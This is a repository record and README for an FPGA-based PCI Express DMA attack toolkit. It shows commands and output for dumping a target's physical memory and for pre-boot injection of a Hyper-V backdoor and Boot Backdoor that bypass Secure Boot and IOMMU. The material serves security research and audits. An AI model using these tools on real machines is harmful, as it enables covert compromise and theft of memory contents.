{"id":21510117,"url":"https://github.com/cr4sh/s6_pcie_microblaze","last_synced_at":"2025-04-12T18:45:40.162Z","repository":{"id":25709675,"uuid":"106346622","full_name":"Cr4sh/s6_pcie_microblaze","owner":"Cr4sh","description":"PCI Express DIY hacking toolkit for Xilinx SP605. This repository is also home of Hyper-V Backdoor and Boot Backdoor, check readme for links and info","archived":false,"fork":false,"pushed_at":"2024-05-20T16:59:33.000Z","size":40295,"stargazers_count":781,"open_issues_count":2,"forks_count":158,"subscribers_count":49,"default_branch":"master","last_synced_at":"2025-04-03T20:13:01.112Z","etag":null,"topics":["backdoor","dma","fpga","hyper-v","hypervisor","kernel","microblaze","pci-e","rootkit","uefi","xilinx"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Cr4sh.png","metadata":{"files":{"readme":"README.MD","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2017-10-09T23:44:44.000Z","updated_at":"2025-04-03T19:39:55.000Z","dependencies_parsed_at":"2023-10-12T06:09:34.815Z","dependency_job_id":"61392532-db63-45a7-a994-a90b2ff9d488","html_url":"https://github.com/Cr4sh/s6_pcie_microblaze","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Cr4sh%2Fs6_pcie_microblaze","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Cr4sh%2Fs6_pcie_microblaze/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Cr4sh%2Fs6_pcie_microblaze/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Cr4sh%2Fs6_pcie_microblaze/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Cr4sh","download_url":"https://codeload.github.com/Cr4sh/s6_pcie_microblaze/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248617391,"owners_count":21134190,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["backdoor","dma","fpga","hyper-v","hypervisor","kernel","microblaze","pci-e","rootkit","uefi","xilinx"],"created_at":"2024-11-23T21:46:41.942Z","updated_at":"2025-04-12T18:45:40.132Z","avatar_url":"https://github.com/Cr4sh.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"\n# PCI Express DIY hacking toolkit\n\n[General information](#general-information)  \n[Contents](#contents)  \n[SP605 board configuration](#sp605-board-configuration)  \n[Software configuration](#software-configuration)  \n[Examples](#examples)  \n[Using Python API](#using-python-api)  \n[Practical DMA attacks](#practical-dma-attacks)  \n[Option ROM attacks](#option-rom-attacks)  \n[Troubleshooting](#troubleshooting)  \n[Building project from the source code](#building-project-from-the-source-code)  \n\n## General information\n\nThis repository contains a set of tools and proof of concepts related to PCI-E bus and [DMA attacks](https://en.wikipedia.org/wiki/DMA_attack). It includes HDL design that implements software controllable PCI-E gen 1.1 endpoint device for [Xilinx SP605 Evaluation Kit](https://www.xilinx.com/products/boards-and-kits/ek-s6-sp605-g.html) with Spartan-6 FPGA. In comparison with popular [USB3380EVB](http://www.hwtools.net/Adapter/USB3380EVB.html) this design allows to operate with raw Transaction Level Packets (TLP) of PCI-E bus and perform full 64-bit memory read/write operations. To demonstrate applied use cases of the design, [there's a tool](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/uefi_backdoor_simple.py) for pre-boot DMA attacks on UEFI based machines which allows to execute arbitrary UEFI DXE drivers during platform init.  \n\n[There's a program](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/uefi_backdoor_hv.py) that shows how to use pre-boot DMA attacks to inject [Hyper-V VM exit handler backdoor](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/payloads/DmaBackdoorHv/src/DmaBackdoorHv.c) into the [virtualization-based security](https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs) enabled Windows 10 and 11 running on UEFI Secure Boot enabled platform. Provided Hyper-V Backdoor PoC might be useful for reverse engineering and exploit development purposes, it [provides an interface](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/payloads/DmaBackdoorHv/backdoor_client/backdoor_library/backdoor_library.cpp) for inspecting of hypervisor state (VMCS, physical/virtual memory, registers, etc.) from the guest partition and perform guest to host VM escape attacks.  \n\n[Another program](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/uefi_backdoor_boot.py) shows how to use pre-boot DMA attacks to inject arbitrary user mode or kernel mode code into the Windows operating system by hijacking of its boot process using [Boot Backdoor](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/payloads/DmaBackdoorBoot/src/DmaBackdoorBoot.c). This program is also can work with DMA Shell \u0026minus; it's Boot Backdoor payload that allows to execute console commands over the rogue PCI-E device, transfer files and load 3-rd party executables into the target operating system at the runtime.  \n\n💾 **Hyper-V Backdoor part of this project has many other features and deployment options than described in this document, you can use it separately from DMA attack tools even without any special hardware: check [its documentation](https://github.com/Cr4sh/s6_pcie_microblaze/tree/master/python/payloads/DmaBackdoorHv)**  \n\n💾 **Boot Backdoor part of this project has many other features and deployment options than described in this document, you can use it separately from DMA attack tools even without any special hardware: check [its documentation](https://github.com/Cr4sh/s6_pcie_microblaze/tree/master/python/payloads/DmaBackdoorBoot)**  \n\n💾 **Python tools from this project and FPGA designs for SP605, ZC706 and PicoEVB boards also can be used to deploy SMM Backdoor Next Gen with pre-boot DMA attack. Check [its documentation](https://github.com/Cr4sh/SmmBackdoorNg) for more technical details.**  \n\n🛠️ **Python tools and payloads from this project, including Hyper-V Backdoor and Boot Backdoor, also can be used with Xilinx Zynq-7000 SoC based boards. There's [a separate project](https://github.com/Cr4sh/zc_pcie_dma) of DMA attacks design for Xilinx ZC706 evaluation kit.**  \n\n🛠️ **Python tools and payloads from this project, including Hyper-V Backdoor and Boot Backdoor, also can be used with PicoEVB development board. There's a separate [Pico DMA project](https://github.com/Cr4sh/pico_dma) \u0026minus; fully autonomous pre-boot DMA attack hardware implant for M.2 slot that can run arbitrary UEFI DXE drivers as payload.**  \n\n\n## Contents\n\n* `s6_pcie_microblaze.xise` \u0026minus; Xilinx ISE project file. \n\n* `microblaze/pcores/axis_pcie_v1_00_a/` \u0026minus; Custom peripheral module that allows connecting of PCI Express integrated endpoint block of Spartan-6 FPGA as raw TLP stream to MicroBlaze soft processor core. \n\n* `sdk/srec_bootloader_0/` \u0026minus; Simple bootloader for MicroBlaze soft processor, it using SREC image format and onboard linear flash memory of SP605 to load and store main MicroBlaze program. \n\n* `sdk/main_0/` \u0026minus; Main program for MicroBlaze soft processor, it forwards raw TLP packets of PCI-E bus into the TCP connection using onboard Ethernet port of SP605 and [lwIP network stack](http://www.nongnu.org/lwip/2_0_x/index.html). \n\n* `python/pcie_lib.py` \u0026minus; Python library to interact over the network with main MicroBlaze program running on SP605 board, it implements various low level and high level abstractions to work with TLP level of PCI-E from the Python code.\n\n* `python/pcie_mem.py` \u0026minus; Command line program that dumps host RAM into the screen or output file by sending MRd TLPs.\n\n* `python/pcie_mem_scan.py` \u0026minus; Command line program that scans target host for physical memory ranges accessible over PCI-E bus, it's useful for a security audit of IOMMU enabled platforms (examples: [1](https://twitter.com/d_olex/status/886050560637493248), [2](https://twitter.com/d_olex/status/886093746651013120), [3](https://twitter.com/d_olex/status/886320724641628160), [4](https://twitter.com/d_olex/status/886399248706682881)).\n\n* `python/uefi_backdoor_simple.py` \u0026minus; Command line program for pre-boot DMA attack that injects dummy UEFI driver into the target machine boot sequence.\n\n* `python/uefi_backdoor_hv.py` \u0026minus; Command line program for pre-boot DMA attack that injects Hyper-V VM exit handler backdoor into the target system boot sequence.\n\n* `python/uefi_backdoor_boot.py` \u0026minus; Command line program for pre-boot DMA attack that injects Boot Backdoor into the target system boot sequence.\n\n* `python/payloads/DmaBackdoorSimple/` \u0026minus; Source code of dummy UEFI DXE driver to use with `uefi_backdoor_simple.py`.\n\n* `python/payloads/DmaBackdoorHv/` \u0026minus; Source code of UEFI DXE driver to use with `uefi_backdoor_hv.py`, it implements Hyper-V Backdoor functionality. \n\n* `python/payloads/DmaBackdoorBoot/` \u0026minus; Source code of UEFI DXE driver to use with `uefi_backdoor_boot.py`, it implements Boot Backdoor functionality. \n\n\n## SP605 board configuration\n\n\u003cimg src=\"https://raw.githubusercontent.com/Cr4sh/s6_pcie_microblaze/master/docs/images/board.jpg\" width=\"800\"\u003e\n\nXilinx UG526 document also known as [SP605 Hardware User Guide](https://www.xilinx.com/support/documentation/boards_and_kits/ug526.pdf) is your best friend if you want to know more details about usage and configuration of this nice board.\n\n1) To load bitstream from onboard SPI flash chip you need to configure SP605 by turning `SW1` switches into the 1-ON, 2-OFF position.\n\n2) Now you have to write FPGA bitstream into the SPI flash. Use `s6_pcie_microblaze.mcs` file if you want to do this over JTAG with the help of Xilinx iMPACT utility (see [this tutorial](https://www.xilinx.com/support/documentation/boards_and_kits/sp605_PCIe_Gen1_x1_pdf_xtp065_13.4.pdf)), or `s6_pcie_microblaze.bin` if you want to use [external SPI flash programmer](https://www.flashrom.org/Supported_programmers) connected to `J17` header of SP605 (which is the fastest and more convenient way). \n\nIn case of [flashrom](https://www.flashrom.org/) compatible SPI flash programmer you can use `flash_to_spi.py` program as a flashrom wrapper:\n\n```\n$ ./flash_to_spi.py linux_spi:dev=/dev/spidev1.0 s6_pcie_microblaze.bin\nUsing region: \"main\".\nCalibrating delay loop... OK.\nFound Winbond flash chip \"W25Q64.V\" (8192 kB, SPI) on linux_spi.\nReading old flash chip contents... done.\nErasing and writing flash chip...\nWarning: Chip content is identical to the requested image.\nErase/write done.  \n```\n\n3) Bitstream file that was written into the SPI flash in previous step includes custom bootloader for MicroBlaze core (see [bootloader.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/srec_bootloader_0/src/bootloader.c) for more details). This bootloader allows to configure board options and write main program into the linear flash over the UART port of SP605.\n\nTo boot MicroBlaze into the update mode you have to disconnect SPI flash programmer and power the board holding `SW4` pushbutton switch, release `SW4` when `DS6` LED indicating active update mode turns on. \n\n4) To write main program (see [main.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/main_0/src/main.c) for more details) into the linear flash you need to connect your computer to the UART bridge USB port of SP605 and run `bootloader_ctl.py` program with `--flash` option:\n\n```\n$ easy_install pyserial\n$ ./python/bootloader_ctl.py /dev/ttyUSB0 --flash sdk/main_0/Debug/main_0.srec\n[+] Opening device \"/dev/ttyUSB0\"...\n[+] Flasing 339852 bytes from \"sdk/main_0/Debug/main_0.srec\"...\nErasing flash...\nWriting 0x100 bytes at 0x00100000\nWriting 0x100 bytes at 0x00100100\n\n...\n\nWriting 0x100 bytes at 0x00152e00\nWriting 0x8c bytes at 0x00152f00\n[+] DONE\n```\n\n5) To configure the network settings you need to run `bootloader_ctl.py` program with `--config` option:\n\n```\n$ ./python/bootloader_ctl.py /dev/ttyUSB0 --config 192.168.2.247:255.255.255.0:192.168.2.1:28472\n[+] Opening device \"/dev/ttyUSB0\"...\n[+] Updating board settings...\n\n Address: 192.168.2.247\n Netmask: 255.255.255.0\n Gateway: 192.168.2.1\n    Port: 28472\n\nErasing flash...\nWriting 0x12 bytes at 0x00000000\n[+] DONE\n```\n\n6) Now you can exit from the update mode and boot main MicroBlaze program from linear flash:\n\n```\n$ ./python/bootloader_ctl.py /dev/ttyUSB0 --boot\n[+] Opening device \"/dev/ttyUSB0\"...\n[+] Exitting from update mode...\n\nSREC Bootloader\nLoading SREC image from flash at address: 42000000\nExecuting program starting at address: 00000000\nLoading settings from flash...\n[+] Address: 192.168.2.247\n[+] Netmask: 255.255.255.0\n[+] Gateway: 192.168.2.1\nauto-negotiated link speed: 100\nstart_application(): TCP server is started at port 28472\n```\n\nMain program prints its error messages into the onboard UART, you can use `--console` option of `bootloader_ctl.py` to monitor this messages in real time. \n\n7) Connect SP605 to the PCI-E slot of the target computer and turn the computer on. When PCI-E link was successfully established you will see `DS3` and `DS4` LEDs on.\n\n8) Run `lspci` command on target computer to ensure that its operating system is seeing your board as appropriate PCI-E device:\n\n```\n# lspci | grep Xilinx\n01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID\n```\n\nJTAG related notes: SP605 has onboard USB to JTAG interface compatible with iMPACT and others Xilinx tools. However, it's not very good so if you're planning to use onboard JTAG to program SPI flash like it was described in Xilinx tutorial you have to do the following things:\n\n* Remove any hardware connected to the FMC slot of SP605 while working with JTAG. \n\n* In Xilinx iMPACT settings configure JTAG interface to use 750 KHz speed (on more higher speed it works unstable).\n\nXilinx SP605 board is also can be connected to the Thunderbolt 2/3 external port of the target computer using [Thunderbolt to PCI-E expansion chassis](https://www.amazon.com/s/ref?field-keywords=thunderbolt+to+pcie). Please note, that SP605 is [relatively large board](https://www.xilinx.com/support/answers/53808.html) so it might not fit into some of the chassis. For example, I'm using [HighPoint RocketStor 6361A](http://www.highpoint-tech.com/USA_new/series_RS6361A_overview.htm) Thunderbolt 2 enclosure which works fine with my MacBook Pro.\n\n\n## Software configuration\n\nPython tools to interact with the board and tiny implementation of PCI-E transaction layer are located in `python` folder. Because main MicroBlaze program uses TCP connection to transfer TLP packets no any drivers or 3rd party dependencies needed, you can use provided Python code on any operating system. \n\nTo set up target board IP address and port edit `PCIE_TO_TCP_ADDR` variable in `python/pcie_lib_config.py` file.\n\n\n## Examples\n\nInformation about PCI-E device implemented by provided FPGA bitstream (just like it seeing by target computer):\n\n```\n$ lspci -vvs 01:00.0\n01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID\n    Subsystem: Xilinx Corporation Default PCIe endpoint ID\n    Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-\n    Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast \u003eTAbort- \u003cTAbort- \u003cMAbort- \u003eSERR- \u003cPERR- INTx-\n    Interrupt: pin A routed to IRQ 11\n    Region 0: Memory at f7d00000 (32-bit, non-prefetchable) [disabled] [size=1M]\n    Capabilities: [40] Power Management version 3\n        Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)\n        Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME-\n    Capabilities: [48] MSI: Enable- Count=1/1 Maskable- 64bit+\n        Address: 0000000000000000  Data: 0000\n    Capabilities: [58] Express (v1) Endpoint, MSI 00\n        DevCap: MaxPayload 512 bytes, PhantFunc 0, Latency L0s unlimited, L1 unlimited\n            ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-\n        DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-\n            RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop+\n            MaxPayload 128 bytes, MaxReadReq 512 bytes\n        DevSta: CorrErr+ UncorrErr- FatalErr+ UnsuppReq- AuxPwr- TransPend-\n        LnkCap: Port #0, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 unlimited, L1 unlimited\n            ClockPM- Surprise- LLActRep- BwNot-\n        LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk-\n            ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-\n        LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-\n    Capabilities: [100 v1] Device Serial Number 00-00-00-01-01-00-0a-35\n```\n\nExample of PCI-E device as it shown in Apple macOS hardware information when connected to the Thunderbolt 2 port of MacBook Pro:\n\n\u003cimg src=\"https://raw.githubusercontent.com/Cr4sh/s6_pcie_microblaze/master/docs/images/macos_pcie.png\" width=\"623\"\u003e\n\n\nOn the attacker side you can use `pcie_cfg.py` program to view configuration space registers of PCI-E device:\n\n```\n$ ./pcie_cfg.py\n[+] PCI-E link with target is up\n[+] Device address is 03:00.0\n\n           VENDOR_ID = 0x10ee\n           DEVICE_ID = 0x1337\n             COMMAND = 0x0\n              STATUS = 0x10\n            REVISION = 0x0\n          CLASS_PROG = 0x0\n        CLASS_DEVICE = 0x200\n     CACHE_LINE_SIZE = 0x10\n       LATENCY_TIMER = 0x0\n         HEADER_TYPE = 0x0\n                BIST = 0x0\n      BASE_ADDRESS_0 = 0x90500000\n      BASE_ADDRESS_1 = 0x0\n      BASE_ADDRESS_2 = 0x0\n      BASE_ADDRESS_3 = 0x0\n      BASE_ADDRESS_4 = 0x0\n      BASE_ADDRESS_5 = 0x0\n         CARDBUS_CIS = 0x0\n SUBSYSTEM_VENDOR_ID = 0x10ee\n        SUBSYSTEM_ID = 0x7\n         ROM_ADDRESS = 0x0\n      INTERRUPT_LINE = 0xff\n       INTERRUPT_PIN = 0x1\n             MIN_GNT = 0x0\n             MAX_LAT = 0x0\n```\n\n```\n$ ./pcie_cfg.py -x\n[+] PCI-E link with target is up\n[+] Device address is 03:00.0\n\n0000: 0x10ee 0x1337\n0004: 0x0000 0x0010\n0008: 0x0000 0x0200\n000c: 0x0010 0x0000\n0010: 0x0000 0x9050\n0014: 0x0000 0x0000\n0018: 0x0000 0x0000\n001c: 0x0000 0x0000\n0020: 0x0000 0x0000\n0024: 0x0000 0x0000\n0028: 0x0000 0x0000\n002c: 0x10ee 0x0007\n0030: 0x0000 0x0000\n0034: 0x0040 0x0000\n0038: 0x0000 0x0000\n003c: 0x01ff 0x0000\n\n      ...\n\n```\n\nHere's an example of dumping 0x80 bytes of target computer physical memory starting from zero address using `pcie_mem.py` program:\n\n```\n$ DEBUG_TLP=1 ./pcie_mem.py 0x0 0x80\nTLP TX: size = 0x04, source = 01:00.0, type = MRd64\n        tag = 0x00, bytes = 0x84, addr = 0x00000000\n\n        0x20000021 0x010000ff 0x00000000 0x00000000\n\nTLP RX: size = 0x23, source = 00:00.0, type = CplD\n        tag = 0x00, bytes = 132, req = 01:00.0, comp = 00:00.0\n\n        0x4a000020 0x00000084 0x01000000\n        0xf3ee00f0 0xf3ee00f0 0xc3e200f0 0xf3ee00f0 \n        0xf3ee00f0 0x54ff00f0 0x053100f0 0xfe3000f0 \n        0xa5fe00f0 0xe40400e8 0xf3ee00f0 0xf3ee00f0 \n        0xf3ee00f0 0xf3ee00f0 0x57ef00f0 0x53ff00f0 \n        0x140000c0 0x4df800f0 0x41f800f0 0x59ec00f0 \n        0x39e700f0 0xd40600e8 0x2ee800f0 0xd2ef00f0 \n        0x00e000f0 0xf2e600f0 0x6efe00f0 0x53ff00f0 \n        0x53ff00f0 0xa4f000f0 0xc7ef00f0 0xb19900c0\n\nTLP RX: size = 0x04, source = 00:00.0, type = CplD\n        tag = 0x00, bytes = 4, req = 01:00.0, comp = 00:00.0\n\n        0x4a000001 0x00000004 0x01000000\n        0xf3ee00f0\n\n00000000: f3 ee 00 f0 f3 ee 00 f0 c3 e2 00 f0 f3 ee 00 f0 | ................\n00000010: f3 ee 00 f0 54 ff 00 f0 05 31 00 f0 fe 30 00 f0 | ....T....1...0..\n00000020: a5 fe 00 f0 e4 04 00 e8 f3 ee 00 f0 f3 ee 00 f0 | ................\n00000030: f3 ee 00 f0 f3 ee 00 f0 57 ef 00 f0 53 ff 00 f0 | ........W...S...\n00000040: 14 00 00 c0 4d f8 00 f0 41 f8 00 f0 59 ec 00 f0 | ....M...A...Y...\n00000050: 39 e7 00 f0 d4 06 00 e8 2e e8 00 f0 d2 ef 00 f0 | 9...............\n00000060: 00 e0 00 f0 f2 e6 00 f0 6e fe 00 f0 53 ff 00 f0 | ........n...S...\n00000070: 53 ff 00 f0 a4 f0 00 f0 c7 ef 00 f0 b1 99 00 c0 | S...............\n```\n\nExample of saving physical memory into the file:\n\n```\n./pcie_mem.py 0x14000000 0x8000 dumped.bin\n[+] PCI-E link with target is up\n[+] Device address is 01:00.0\n[+] Reading 0x14000000\n[+] Reading 0x14001000\n[+] Reading 0x14002000\n[+] Reading 0x14003000\n[+] Reading 0x14004000\n[+] Reading 0x14005000\n[+] Reading 0x14006000\n[+] Reading 0x14007000\n[+] Reading 0x14008000\n32768 bytes written into the dumped.bin\n```\n\nProvided Python software uses some environment variables to override default values of certain options:\n\n* `DEBUG_TLP` \u0026minus; If set to `1` print TX and RX TLP packets dump into the standard output.\n\n* `TARGET_ADDR` \u0026minus; `\u003caddress\u003e:\u003cport\u003e` string to override IP address of the board specified in `python/pcie_lib_config.py` file.\n\n\n## Using Python API\n\nPython library `pcie_lib.py` provides low level API to send and receive PCE-E TLP packets along with abstractions for different TLP types and high level physical memory access API.\n\nThe following program demonstrates how to work with raw TLPs using `pcie_lib.py`:\n\n```python\nfrom pcie_lib import *\n\n#\n# Open PCI-E device, optional addr parameter overrides value specified in pcie_lib_config.py\n# file or TARGET_ADDR environment variable\n#\ndev = TransactionLayer(addr = ( '192.168.2.247', 28472 ))\n\n# get bus:device.function address of our PCI-E endpoint\nbus_id = dev.get_bus_id()\n\n#\n# MRd TLP request which reads 1 dword of memory at address 0x1000\n#\ntlp_tx = [ 0x20000001,                   # TLP type and data size\n           0x000000ff | (bus_id \u003c\u003c 16),  # requester ID\n           0x00000000,                   # high dword of physical memory address\n           0x00001000 ]                  # low dword of physical memory address\n         \n# send TLP\ndev.write(tlp_tx)\n\n# receive root complex reply\ntlp_rx = dev.read(raw = True)\n\n# prints 4a000001 00000004 01000000 00000000\nprint('%.8x %.8x %.8x %.8x' % tuple(tlp_rx))\n\n# check for CplD TLP format and type\nassert (tlp_rx[0] \u003e\u003e 24) \u0026 0xff == 0x4a\n\n# print readed dword\nprint('%.8x' % tlp_rx[3])\n\ndev.close()\n```\n\nWorking with TLPs using more convenient high level abstractions:\n\n```python\n# MRd TLP request which reads 1 dword of memory at address 0x1000\ntlp_tx = dev.PacketMRd64(dev.bus_id, 0x1000, 4)\n\n# send TLP\ndev.write(tlp_tx)\n\n# receive root complex reply\ntlp_rx = dev.read()\n\n# check for CplD TLP\nassert isinstance(tlp_rx, dev.PacketCplD)\n\n# print readed dword\nprint('%.8x' % tlp_rx.data[0])\n```\n\nAccessing physical memory with high level API:\n\n```python\n# write bytes to memory\ndev.mem_write(0x1000, '\\xAA' * 0x10)\n\n# write single qword/dword/word/byte to memory\ndev.mem_write_8(0x1000, 0)\ndev.mem_write_4(0x1000, 0)\ndev.mem_write_2(0x1000, 0)\ndev.mem_write_1(0x1000, 0)\n\n# read bytes from memory\nprint(repr(dev.mem_read(0x1000, 0x10)))\n\n# read single qword/dword/word/byte from memory\nprint('%.16x' % dev.mem_read_8(0x1000))\nprint('%.8x' % dev.mem_read_4(0x1000))\nprint('%.4x' % dev.mem_read_2(0x1000))\nprint('%.2x' % dev.mem_read_1(0x1000))\n```\n\n\n## Practical DMA attacks\n\nOne of the main goals of this project is providing flexible and convenient set of tools to perform so called pre-boot DMA attacks, in comparison with regular DMA attacks they are targeting pre-boot environment of UEFI DXE phase of the platform initialization rather than operating system itself. Such attacks allows to run malicious code at relatively early stages when [IOMMU](https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit) and other security features of the operating system are not initialized yet. \n\n\u003cimg src=\"https://raw.githubusercontent.com/Cr4sh/s6_pcie_microblaze/master/docs/images/boot_phases.jpg\" width=\"610\"\u003e\n\nPre-boot DMA attacks allows to bypass various security features of the platform firmware like UEFI secure boot or [Intel Boot Guard](https://edk2-docs.gitbook.io/understanding-the-uefi-secure-boot-chain/secure_boot_chain_in_uefi/intel_boot_guard).\n\nPython program `uefi_backdoor_simple.py` injects dummy UEFI DXE driver located in `payloads/DmaBackdoorSimple` folder into the target system boot sequence using pre-boot DMA attack described above. To use this program you have to perform the following steps:\n\n1) Power off the target computer.\n\n2) Connect SP605 board to the PCI-E (or Mini PCI-E, or M.2) port of the target computer.\n\n3) Turn the borad on and ensure that Microblaze firmware was successfully initialized by pinging an IP address that was specified during the board configuration with `bootloader_ctl.py` program. \n\n4) Run the following command to start pre-boot DMA attack: \n\n```\n$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi\n```\n\n5) Power on the target computer, in case of successful attack after the couple of seconds you will see red debug messages screen of injected UEFI DXE driver:\n\n\u003cimg src=\"https://raw.githubusercontent.com/Cr4sh/s6_pcie_microblaze/master/docs/images/backdoor_simple.png\" width=\"540\"\u003e\n\nAn example of `uefi_backdoor_simple.py` console output after the successful attack:\n\n```\n$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi\n[+] Using UEFI system table hook injection method\n[+] Reading DXE phase payload from payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi\n[!] Bad MRd TLP completion received\n[!] Bad MRd TLP completion received\n[!] Bad MRd TLP completion received\n[+] PCI-E link with target is up\n[+] TSEG is somewhere around 0xd7000000\n[+] PE image is at 0xd6260000\n[+] EFI_SYSTEM_TABLE is at 0xd61eaf18\n[+] EFI_BOOT_SERVICES is at 0xd680aa00\n[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0xd67e2c18\nBackdoor image size is 0x1240\nBackdoor entry RVA is 0x31c\nPlanting DXE stage driver at 0x10000...\nHooking LocateProtocol(): 0xd67e2c18 -\u003e 0x0001031c\n0.780202 sec.\n[+] DXE driver was planted, waiting for backdoor init...\n[+] DXE driver was executed\n[+] DONE\n```\n\nThis dummy UEFI DXE driver along with `uefi_backdoor_simple.py` program can be used as skeleton project to implement various attacks like injecting of malicious code into the operating system bootloader, kernel or hypervisor.\n\nThere's also another Python program \u0026minus; `uefi_backdoor_hv.py`, it injects Hyper-V VM exit handler backdoor located in `payloads/DmaBackdoorHv` folder into the target system boot sequence exactly in the same way as previous dummy UEFI DXE driver. Here's an example of its usage:\n\n```\n$ ./uefi_backdoor_hv.py --driver payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi\n[+] Using UEFI system table hook injection method\n[+] Reading DXE phase payload from payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi\n[+] Waiting for PCI-E link...\n[!] PCI-E endpoint is not configured by root complex yet\n[!] PCI-E endpoint is not configured by root complex yet\n[!] PCI-E endpoint is not configured by root complex yet\n[!] Bad MRd TLP completion received\n[+] PCI-E link with target is up\n[+] Looking for DXE driver PE image...\n[+] PE image is at 0x77160000\n[+] EFI_SYSTEM_TABLE is at 0x7a03e018\n[+] EFI_BOOT_SERVICES is at 0x7a38fa30\n[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4\nBackdoor image size is 0x2c20\nBackdoor entry RVA is 0xbd4\nPlanting DXE stage driver at 0xc0000...\nHooking LocateProtocol(): 0x7a3987b4 -\u003e 0x000c0bd4\n3.611646 sec.\n[+] DXE driver was planted, waiting for backdoor init...\n[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option\n[+] Waiting for Hyper-V load...\n[+] Hyper-V image was loaded\n\n    Hyper-V image base: 0xfffff8072d690000\n           Image entry: 0xfffff8072d901360\n       VM exit handler: 0xfffff8072d8add90\n\n[+] DONE\n```\n\nUEFI DXE driver of Hyper-V Backdoor is also printing its debug messages on the screen. In addition, you can use `--debug-output` option of `uefi_backdoor_hv.py` to read this debug messages from the target system physical memory and print them into the stdout:\n\n```\n$ ./uefi_backdoor_hv.py --debug-output\n[+] PCI-E link with target is up\n[+] Debug output buffer address is 0x79db3000\n\nDmaBackdoorHv.c(1018) : ******************************\nDmaBackdoorHv.c(1019) :\nDmaBackdoorHv.c(1020) :   Hyper-V backdoor loaded!\nDmaBackdoorHv.c(1021) :\nDmaBackdoorHv.c(1022) : ******************************\nDmaBackdoorHv.c(1055) : Image address is 0xc0000\nDmaBackdoorHv.c(275) : BackdoorImageRealocate(): image size = 0x3260\nDmaBackdoorHv.c(1065) : Resident code base address is 0x79daf000\nDmaBackdoorHv.c(794) : Protocol notify handler is at 0x79daf364\nDmaBackdoorHv.c(819) : BackdoorEntryResident()\nDmaBackdoorHv.c(830) : OpenProtocol() hook was set, handler = 0x79db1477\nDmaBackdoorHv.c(835) : ExitBootServices() hook was set, handler = 0x79db1487\nDmaBackdoorHv.c(447) : winload.dll is at 0x8ee000\nDmaBackdoorHv.c(448) : winload!BlLdrLoadImage() is at 0x984a10\nDmaBackdoorHv.c(477) : 535 free bytes found at the end of the code section at 0xa4ade9\nDmaBackdoorHv.c(527) : winload!BlLdrLoadImage() hook was set, handler is at 0x79daf50c\nDmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = \"\\WINDOWS\\system32\\mcupdate_GenuineIntel.dll\"\nDmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = \"\\WINDOWS\\system32\\hvix64.exe\"\nHyperV.c(369) : HyperVHook(): Hyper-V image is at 0xfffff80144e0d000\nHyperV.c(388) : HyperVHook(): Resources section RVA is 0x1400000 (0x200000 bytes)\nHyperV.c(425) : HyperVHook(): Code section RVA is 0x200000\nHyperV.c(604) : HyperVHook(): Hyper-V VM exit handler is at 0xfffff8014502ad90\nHyperV.c(605) : HyperVHook(): Backdoor code size is 684 